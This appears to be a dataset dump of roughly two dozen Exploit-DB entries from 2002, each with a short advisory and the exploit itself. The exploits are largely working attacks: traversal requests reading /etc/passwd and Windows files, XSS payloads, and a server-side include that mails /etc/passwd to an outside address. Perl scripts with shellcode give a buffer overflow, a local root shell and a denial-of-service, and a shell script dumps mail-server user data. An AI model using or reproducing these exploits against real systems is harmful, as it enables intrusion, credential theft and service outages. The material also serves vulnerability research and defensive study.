QLWD/code_shield huggingface dataset:
标题: iPlanet Web Server 4.1 - Search Component File Disclosure EDB-ID: 21603 CVE: 2002-1042 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5191/info

The iPlanet Web Server search engine is prone to a file disclosure vulnerability. It is possible for remote attackers to make requests to the search engine which will cause arbitrary readable files on the host running the vulnerable software to be disclosed to the attacker.

This issue was reported for iPlanet Web Server on Microsoft Windows operating systems. Since the server typically runs in the SYSTEM context on these operating systems, it may be possible for an attacker to disclose the contents of arbitrary files. It has not been confirmed whether this vulnerability exists on other platforms that the software is compatible with. The search engine functionality does not appear to be available for versions of the software on Linux platforms.

GET /search?NS-query-pat=..\..\..\..\..\boot.ini URL: https://www.exploit-db.com/exploits/21603
标题: GoAhead Web Server 2.1.x - URL Encoded Slash Directory Traversal EDB-ID: 21607 CVE: 2002-0680 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/5197/info

A vulnerability has been reported for GoAhead WebServer 2.1. Reportedly, it is possible to launch directory traversal attacks against GoAhead WebServer. It is possible for remote attackers to access arbitrary files residing on a vulnerable host.

It has been reported that it is possible to exploit this vulnerability to access arbitrary files on the server through a directory traversal attack. GoAhead WebServer correctly prevents attackers from using '../' sequences for directory traversal attacks. However, it does not prevent attackers from using URL encoded substitutions for the '/' character.

** Orange Web Server 2.1 is based upon GoAhead WebServer. It has been reported that Orange Web Server 2.1 is also vulnerable to this issue.

** It is also possible to connect directly to a GoAhead WebServer using netcat or telnet and issuing a GET command for a known file using regular directory traversal sequences. There is no requirement for encoding the '/' character as '%5C'. Instead an attacker can obtain files by using '..\..\' sequences.

GoAhead-server/..%5C..%5C..%5C..%5C..%5C..%5C/winnt/win.ini URL: https://www.exploit-db.com/exploits/21607
标题: Summit Computer Networks Lil' HTTP Server 2.1/2.2 - 'pbcgi.cgi' Cross-Site Scripting EDB-ID: 21611 CVE: 2002-1009 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/5211/info

Lil' HTTP server is a web server application for Windows environments and is maintained by Summit Computer Networks.

It is possible for attackers to construct a URL to the 'pbcgi.cgi' script which includes scripting code to execute in a user's browser. As a result, when an innocent user follows such a link, the script code will execute within the context of the hosted site. 

http://localhost:81/pbcgi.cgi?name=Matthew%20Murphy&email=%3CSCRIPT%3Ealert%28%27xss%27%29%3B%3C%2FSCRIPT%3E URL: https://www.exploit-db.com/exploits/21611
标题: icecast server 1.3.12 - Directory Traversal Information Disclosure EDB-ID: 21602 CVE: 2002-1982 类型: REMOTE 平台: LINUX 发布日期: 2002-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5189/info


Icecast is a freely available, open source streaming audio server. Icecast is available for the Unix, Linux, and Microsoft Windows platforms.

An attacker may exploit a directory traversal vulnerability in Icecast server to determine the existance of a specified directory outside of the web root. This is a result of the server returning different HTTP results for each case.

GET /file/../../../../../../../../nonexistent/ HTTP/1.0

GET /file/../../../../../../../../etc/ HTTP/1.0 URL: https://www.exploit-db.com/exploits/21602
标题: Sun i-Runbook 2.5.2 - Directory and File Content Disclosure EDB-ID: 21610 CVE: 2002-1034 2002-1033 类型: WEBAPPS 平台: PHP 发布日期: 2002-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/5209/info

Sun i-Runbook is a single point of technical and administration management for Sun production environments. i-Runbook provides a web interface.

i-Runbook can be led to disclose the contents of a known resource. This is accomplished by submitting a specially crafted request with the absolute path to a known directory or file.

This issue could result in the disclosure of sensitive information. 

http://<Serverip:port>/content/base/build/explorer/none.php?..:..:..:..:..:.
.:..:etc:passwd:

or

http://<Serverip:port>/content/base/build/explorer/none.php?/etc/passwd URL: https://www.exploit-db.com/exploits/21610
标题: GoAhead Web Server 2.1.x - Error Page Cross-Site Scripting EDB-ID: 21608 CVE: 2002-0681 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/5198/info

A vulnerability has been reported for GoAhead WebServer 2.1. Reportedly, it is possible for attackers to launch cross site scripting attacks against vulnerable systems.

GoAhead WebServer includes unsanitized requested URLs when displaying a 404 error page. An attacker may be able to trick a user into following a link which includes malicious script code, and executing the attack. 

GoAhead-server/SCRIPTalert(document.domain)/SCRIPT URL: https://www.exploit-db.com/exploits/21608
标题: Working Resources BadBlue 1.7.3 - 'cleanSearchString()' Cross-Site Scripting EDB-ID: 21599 CVE: 2002-1683 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/5179/info

BadBlue is a P2P file sharing application distributed by Working Resources. It is designed for use on Microsoft Windows operating systems. BadBlue is operated through a web interface, generated by an included web server running on the local system.

A variant to BID 5086 has been reported to exist. Reportedly, EXT.DLL has been re-designed to pass user input to the cleanSearchString function. Unfortunately, this function is implemented as client side javascript, and unsanitized input must be displayed on the client machine as it is passed to the cleanSearchString function.

Additionally, user supplied input is displayed as the hidden form value "a0" without being sanitized. 

"hi"'));alert("ZING!!!");document.write(cleanSearchString('a

"><script>alert("ZING!!!");</script>< URL: https://www.exploit-db.com/exploits/21599
标题: Working Resources BadBlue 1.7.3 - GET Denial of Service EDB-ID: 21600 CVE: 2002-1023 类型: DOS 平台: WINDOWS 发布日期: 2002-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/5187/info

Working Resources BadBlue is reportedly prone to a denial of service condition when handling malformed GET requests.

It has been discovered that BadBlue does not properly handle requests that do not adhere to RFC standards. When a user connects to BadBlue via the listening port, and issues a "GET HTTP/1.0" request without specifying a document, BadBlue becomes unstable. In most cases, the process will crash. 

GET HTTP/1.0

GET HTTP/1.0 URL: https://www.exploit-db.com/exploits/21600
标题: Key Focus KF Web Server 1.0.2 - Directory Contents Disclosure EDB-ID: 21597 CVE: 2002-1031 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/5177/info

It has been reported that version 1.0.2 of KF Web Server discloses the contents of directories when a certain character is present in the URL.

If a remote attacker appends the "%00" character, it will cause the web server to display the contents of the current directory.

http://server_name/subdir/%00
http://server_name/%00 URL: https://www.exploit-db.com/exploits/21597
标题: BlackBoard 5.0 - Cross-Site Scripting EDB-ID: 21588 CVE: 2002-1007 类型: WEBAPPS 平台: CGI 发布日期: 2002-07-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/5137/info

Blackboard is reportedly prone to cross-site scripting attacks. This issue was reported to be in the login.pl script. The vulnerable script fails to sanitize HTML tags from CGI parameters.

Attackers may exploit this condition via a malicious link to a site running the vulnerable software. Successful exploitation will enable an attacker to cause script code to be executed in the web browser of a user who visits the malicious link.

It has been reported that there other instances where Blackboard fails to sanitize arbitrary HTML and script code. 

http://target/bin/login.pl?course_id=">&lt;SCRIPT&gt;alert()&lt;/SCRIPT&gt; URL: https://www.exploit-db.com/exploits/21588
标题: WorldSpan Res Manager 4.1 - Malformed TCP Packet Denial of Service EDB-ID: 21594 CVE: 2002-1029 类型: DOS 平台: WINDOWS 发布日期: 2002-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/5169/info

It has been reported that WorldSpan Res Manager 4.1 for Microsoft Windows is vulnerable to a denial of service condition.

Res Manager systems are connected to Worldspan via private lines or through the Internet. Before accessing Worldspan, clients must first go through a local gateway, which accepts connections from Res Manager clients via TCP port 17990. If a malformed packet is sent to this port, the gateway software attempts to process the packet and eventually crashes.

#!/usr/bin/perl
#altomo@digitalgangsters.net
#Worldspan Gateway DoS

$sabre = "worldspanshouldgoboom";

use IO::Socket;
$ip = "$ARGV[0]";
$port = "17990";
if ($#ARGV<0) {
print " useage: $0 <ip>\n";
exit();
}
$socket = IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>$ip,
PeerPort=>$port,);


print "Worldspan Gateway DoS\n";
print "altomo\@digitalgangsters.net\n";

print "Wait about a minute, and it should crash.\n";
print $socket "$sabre\r";
close $socket; URL: https://www.exploit-db.com/exploits/21594
标题: Apple Mac OSX 10.1.x - SoftwareUpdate Arbitrary Package Installation EDB-ID: 21596 CVE: 2002-0676 类型: REMOTE 平台: OSX 发布日期: 2002-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/5176/info

A vulnerability has been reported for MacOS X where an attacker may use SoftwareUpdate to install malicious software on the vulnerable system. SoftwareUpdate uses HTTP, without any authentication, to obtain updates from Apple. Any updated packages are installed on the system as the root user.

In order to exploit this vulnerability, the attacker must control the machine located at swquery.apple.com, from the perspective of the vulnerable client. It may be possible to create this condition through some known techniques, including DNS cache poisoning and DNS spoofing.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21596.tgz.tar URL: https://www.exploit-db.com/exploits/21596
标题: AnalogX Proxy 4.0 - Socks4A Buffer Overflow EDB-ID: 21589 CVE: 2002-1001 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/5138/info

AnalogX Proxy is prone to a buffer overflow condition when attempting to handle malformed SOCKS4A requests (via TCP port 1080). This may be exploited to create a denial of service condition or to potentially execute arbitrary instructions with the privileges of the AnalogX Proxy process. 

#!/usr/local/bin/perl

#-----------------------------------------------------------
# AnalogX Proxy Version 4.10 exploit for Japanese Windows 2000 Pro (SP2)
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
# thanx to: hsj (http://hsj.shadowpenguin.org/)
#-----------------------------------------------------------
use Socket;

$connect_host = "socks.example.com";
$port = 1080;
$iaddr = inet_aton($connect_host) || die "Host Resolve Error.\n";
$sock_addr = pack_sockaddr_in($port,$iaddr);
socket(SOCKET,PF_INET,SOCK_STREAM,0) || die "Socket Error.\n";
connect(SOCKET,$sock_addr) || die "Connect Error\n";
select(SOCKET); $|=1; select(STDOUT);

        # egg written by UNYUN (http://www.shadowpenguin.org/)
        # 57bytes
$egg  = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

$buf  = "\x04\x01\x00\x19\x00\x00\x00\x01";
$buf .= "A" x 32;
$buf .= $egg;
$buf .= "\x00";
$buf .= "A" x 144;

        # JMP ESP in user32.dll( Japanese Windows 2000 Pro SP2 ) : 0x77DF492B
        # If you use English Windows 2000, try 0x77E2492B
$buf .= "\x2B\x49\xdf\x77";

        # JMP +0x22
$buf .= "\xEB\x22";
$buf .= "\x00";

print SOCKET $buf; URL: https://www.exploit-db.com/exploits/21589
标题: BBC Education Betsie 1.5 - Parserl.pl Cross-Site Scripting EDB-ID: 21587 CVE: 2002-1006 类型: WEBAPPS 平台: CGI 发布日期: 2002-07-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/5135/info

Betsie (BBC Education Text to Speech Internet Enhancer) is prone to a cross-site scripting vulnerability. This issue exists in the parserl.pl script.

Attackers may exploit this condition via a malicious link to a site running the vulnerable software. Successful exploitation will enable an attacker to cause script code to be executed in the web browser of a user who visits the malicious link. 

http://server/cgi-bin/betsie/parserl.pl/<script>alert("eek!")</script> URL: https://www.exploit-db.com/exploits/21587
标题: phpAuction 1/2 - Unauthorized Administrative Access EDB-ID: 21590 CVE: 2002-0995 类型: WEBAPPS 平台: PHP 发布日期: 2002-07-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/5141/info

PhpAuction is a freely available web-based auction system. It is written using PHP scripting language on a MySQL database engine.

A flaw in /admin/login.php has been reported in PHPAuction, which could allow users to gain escalated privileges.

Submitting authentication credentials via login.php will create the user account with adminsitrative permissions. 

curl http://pro.phpauction.org/proplus/admin/login.php -d "action=insert" -d "username=test" -d "password=test" URL: https://www.exploit-db.com/exploits/21590
标题: ArGoSoft 1.8 Mail Server - Directory Traversal EDB-ID: 21591 CVE: 2002-1004 类型: REMOTE 平台: WINDOWS 发布日期: 2002-07-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/5144/info

ArGoSoft Mail Server is an STMP, POP3 and Finger server for Microsoft Windows environments. ArGoSoft has a built in web server to enable remote access to mail.

A directory traversal issue has been reported in the web server, which could allow remote users access to all files residing on the host.

This is accomplished by submitting a specially crafted request containing '/..' character sequences to a specific directory.

This issue is reported to exist in ArGoSoft Mail Server 1.8.1.5, earlier versions may also be affected by this issue.


#!/bin/sh
#
# released on 06/07/2002 by team n.finity <nfinity@gmx.net>
# find us at http://nfinity.yoll.net/
#
# argospill.sh

HOST=$1
USER=$2
DOMAIN=$3

startpro()
{
    echo -e "\nSpilling user $USER @ $DOMAIN, host $HOST (Pro)\n"
    URL=/_users/$DOMAIN/$USER/_tempatt/../userdata.rec
    /usr/bin/lynx -dump http://$HOST$URL
}

startplus()
{
    echo -e "\nSpilling user $USER, host $HOST (Plus)\n"
    URL=/$USER/_tempatt/../userdata.rec
    /usr/bin/lynx -dump http://$HOST$URL
}

startboth()
{
    echo -e "\nSpilling host $HOST (Plus / Pro)\n"
    URL=/images/../_logs/`date -d '-1 day' +%Y-%m-%d`.txt
    /usr/bin/lynx -dump http://$HOST$URL
}

usage()
{
    echo -e "\nUsage:\n"
    echo "Both - $0 <host>"
    echo "Pro  - $0 <host> <user> <domain>"
    echo "Plus - $0 <host> <user>"
    echo -e "\nExample:\n"
    echo "Both, images dir - $0 www.test.com"
    echo "Plus, no dom req - $0 www.test.com me"
    echo "Pro, default dom - $0 www.test.com me _nodomain"
    echo "Pro, virtual dom - $0 www.test.com me test.com"
}

echo "Argospill 1.0 by Team N.finity"

if [ -n "$HOST" ]; then
    if [ -n "$USER" ]; then
        if [ -n "$DOMAIN" ]; then
            startpro
        else
            startplus
        fi
    else
        startboth
    fi
else
    usage
fi URL: https://www.exploit-db.com/exploits/21591
标题: Inktomi Traffic Server 4/5 - Traffic_Manager Path Argument Buffer Overflow EDB-ID: 21580 CVE: 2002-1013 类型: DOS 平台: LINUX 发布日期: 2002-06-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/5098/info

Inktomi Traffic Server is a transparent web caching application. It is designed for use with Unix and Linux variants as well as Microsoft Windows operating environments.

A buffer overflow vulnerability has been reported in the Inktomi Traffic Server. The vulnerability occurs in the traffic_manager binary included with Inktomi Traffic Server.

Reportedly, executing traffic_manager with an excessively long commandline argument will cause the buffer overflow condition. As traffic_manager is a setuid root binary, it is possible for a remote attacker to obtain root, or superuser, privileges on a compromised system. 

traffic_manager -path `perl -e 'print "A"x1720'` < URL: https://www.exploit-db.com/exploits/21580
标题: OpenSSH 3.x - Challenge-Response Buffer Overflow (2) EDB-ID: 21579 CVE: 2002-0640 类型: REMOTE 平台: UNIX 发布日期: 2002-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/5093/info
 
The OpenSSH team has reported two vulnerabilities in OpenSSH that are remotely exploitable and may allow for unauthenticated attackers to obtain root privileges.
 
The conditions are related to the OpenSSH SSH2 challenge-response mechanism. They occur when the OpenSSH server is configured at compile time to support BSD_AUTH or SKEY. OpenBSD 3.0 and later ship with OpenSSH built to support BSD_AUTH. Systems are vulnerable when either of the following configuration options are enabled:
 
PAMAuthenticationViaKbdInt
ChallengeResponseAuthentication
 
Attackers can exploit the vulnerabilities by crafting a malicious response. Since this occurs before the authentication process completes, remote attackers without valid credentials may exploit this. Successful exploits may result in the execution of shellcode or a denial of service.
 
OpenSSH 3.4 addresses the problem. Upgrading to this version will eliminate the vulnerabilities. Administrators who cannot install OpenSSH 3.4 should upgrade to version 3.3 and enable the privilege-separation feature.
 
Proof-of-concept code has been made public. Users are advised to upgrade immediately.
 
**UPDATE: One of these issues is trivially exploitable and is still present in OpenSSH 3.5p1 and 3.4p1. Although these reports have not been confirmed, administrators are advised to implement the OpenSSH privilege-separation feature as a workaround. BSD administrators are also advised to upgrade to the newest kernel versions because recently patched vulnerabilities may allow root compromise despite the use of the privilege-separation feature. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21579.tar.gz URL: https://www.exploit-db.com/exploits/21579
标题: E-Guest 1.1 - Server Side Include Arbitrary Command Execution EDB-ID: 21586 CVE: 2002-2376 类型: REMOTE 平台: LINUX 发布日期: 2002-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/5129/info

E-Guest guest book is a freely available, open source guest book. It is designed for Unix and Linux operating systems.

E-Guest does not adequately sanitize user-supplied input in guest book entries. Because of this, it is possible to pass along commands via server-side includes that could allow a remote user to execute commands on the local host.

Full Name: HI<!--#exec cmd="/bin/mail downbload@hotmail.com < /etc/passwd"--> URL: https://www.exploit-db.com/exploits/21586
标题: Half-Life Server 1.1/3.1 - New Player Flood Denial of Service EDB-ID: 21572 CVE: 2002-0964 类型: DOS 平台: MULTIPLE 发布日期: 2002-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/5076/info

Half-Life is a popular game distributed and maintained by Valve Software. It includes features that allow users to game locally, or in distributed network environments. Valve Software also distributes a dedicated server product.

A denial of service vulnerability has been reported in some versions of the Half-Life server. A remote party may create a large number of new users on a specific server through spoofing the connection conversation. As servers contain a set limit on the maximum number of players, server resources will be exhausted, and legitimate players will not be allowed to join the game. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21572.zip URL: https://www.exploit-db.com/exploits/21572
标题: Macromedia JRun 3/4 - Administrative Authentication Bypass EDB-ID: 21582 CVE: 2002-0665 类型: REMOTE 平台: WINDOWS 发布日期: 2002-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/5118/info

Macromedia JRun is prone to an issue which may allow remote attackers to bypass the authentication page for the admin server. This may be exploited by adding an extraneous '/' to a request for the administrative authentication page.

http://JRun-Server:8000//welcome.jsp?&action=stop&server=default

will shutdown the 'default' JRun server instance on port 8100. Other
administrative functions can also be accessed. URL: https://www.exploit-db.com/exploits/21582
标题: Mandrake 7/8/9 / RedHat 6.x/7 Bonobo EFSTool - Commandline Argument Buffer Overflow (1) EDB-ID: 21583 CVE: 2002-1814 类型: LOCAL 平台: LINUX 发布日期: 2002-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/5125/info

Bonobo is a set of tools and CORBA interfaces included as part of the Gnome infrastructure. It is designed for use on the Linux and Unix operating systems.

A boundry condition error has been discovered in the efstool program. Due to improper bounds checking, it is possible for a user to supply a long commandline argument to the efstool program, which would result in a buffer overflow. This problem could be exploited on the local system to overwrite stack memory, including the return address, and execute attacker supplied code. 

#!/usr/bin/perl
# efstool root exploit
# written by clorox of Ptrac Networks for BKACC(Bored Kids At ComputerCamp)
# give the campers internet grogan!
#
# tested to work on slackware 8, mandrake 8, mandrake 7.1
# tweaks may be needed on the offset
# method 1 works more often but
# method 2 is faster but not too good
#
#
# enjoy -clorox
# perl efs.pl -1000

$shellcode =
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89".
"\x46\x0c\x89\x76\x08\xb0\x0b\x87\xf3".
"\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29".
"\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff".
"/bin/sh";

$shellcode2 =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88".
"\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3".
"\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31".
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";

$ret = "0xbfffe890";
$offset = $ARGV[0];
$nop = "\x90";

if ($ARGV[1] eq "m1") {
        $len = 3000;
        for ($i = 0; $i < ($len - length($shellcode)); $i++) {
                $buffer .= $nop;
        }
        $buffer .= $shellcode;
} elsif ($ARGV[1] eq "m2") {
        $len = 10010;
        for ($i = 0; $i < ($len - length($shellcode)); $i++) {
                $buffer .= $nop;
        }
        $buffer .= $shellcode2;
} else {
        print "You must specify a method fool!\n";
        print "perl $0 <offset> m1 or m2\n";
}

$buffer .= pack('l', ($ret + $offset));
$buffer .= pack('l', ($ret + $offset));
exec("efstool $buffer");
# and on the seventh day clorox said "LET THERE BE SHELL!" URL: https://www.exploit-db.com/exploits/21583
标题: Summit Computer Networks Lil' HTTP Server 2 - 'URLCount.cgi' HTML Injection EDB-ID: 21581 CVE: 2002-1008 类型: REMOTE 平台: WINDOWS 发布日期: 2002-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/5115/info

Lil' HTTP server is a web server application for Windows environments and is maintained by Summit Computer Networks.

Reportedly, Lil' HTTP Server is vulnerable to HTML injection attacks.

The vulnerability is present in the 'REPORT' function found in the 'urlcount.cgi' script. While the CGI does filter script tags, other HTML elements are not sufficiently sanitized, allowing for arbitrary HTML to be injected into the reports page.

http://target/urlcount.cgi?%3CIMG%20SRC%3D%22%22%20ONERROR%3D%22alert%28%27xss%27%29%22%3E

This will affect web users who visit the reports page:

http://target/urlcount.cgi?REPORT URL: https://www.exploit-db.com/exploits/21581